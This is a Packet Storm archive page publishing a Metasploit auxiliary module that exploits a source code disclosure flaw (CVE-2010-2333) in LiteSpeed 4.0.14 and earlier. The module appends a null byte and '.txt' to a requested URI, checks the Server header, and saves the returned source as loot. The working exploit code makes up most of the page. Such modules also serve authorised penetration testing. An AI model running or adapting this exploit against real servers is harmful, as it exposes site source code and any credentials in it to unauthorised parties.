exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

LiteSpeed Source Code Disclosure/Download

LiteSpeed Source Code Disclosure/Download
Posted Sep 1, 2024
Authored by Kingcope, xanda | Site metasploit.com

This Metasploit module exploits a source code disclosure/download vulnerability in versions 4.0.14 and prior of LiteSpeed.

tags | exploit
advisories | CVE-2010-2333
SHA-256 | db2d2b8012838a44a1d1f84b4eef832a3a44a4bbe6ff3f32e536756ab33bac39

LiteSpeed Source Code Disclosure/Download

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'LiteSpeed Source Code Disclosure/Download',
'Description' => %q{
This module exploits a source code disclosure/download vulnerability in
versions 4.0.14 and prior of LiteSpeed.
},
'References' =>
[
[ 'CVE', '2010-2333' ],
[ 'OSVDB', '65476' ],
[ 'BID', '40815' ],
[ 'EDB', '13850' ]
],
'Author' =>
[
'Kingcope', # initial disclosure
'xanda' # Metasploit module
],
'License' => MSF_LICENSE)

register_options(
[
OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
])
end

def target_url
uri = normalize_uri(datastore['URI'])
"http://#{vhost}:#{rport}#{datastore['URI']}"
end

def run_host(ip)
uri = normalize_uri(datastore['URI'])
path_save = datastore['PATH_SAVE']

vuln_versions = [
"LiteSpeed"
]

nullbytetxt = "\x00.txt"

begin
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}#{nullbytetxt}",
}, 25)

if res.nil?
print_error("#{target_url} - Connection timed out")
return
end

version = res.headers['Server']

if vuln_versions.include?(version)
print_good("#{target_url} - LiteSpeed - Vulnerable version: #{version}")

if (res and res.code == 200)

print_good("#{target_url} - LiteSpeed - Getting the source of page #{uri}")
p = store_loot("litespeed.source", "text/plain", rhost, res.body, path_save)
print_good("#{target_url} - LiteSpeed - File successfully saved: #{p}")

else
print_error("http://#{vhost}:#{rport} - LiteSpeed - Unrecognized #{res.code} response")
return

end

else
if version =~ /LiteSpeed/
print_error("#{target_url} - LiteSpeed - Cannot exploit: the remote server is not vulnerable - Version #{version}")
else
print_error("#{target_url} - LiteSpeed - Cannot exploit: the remote server is not LiteSpeed")
end
return

end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close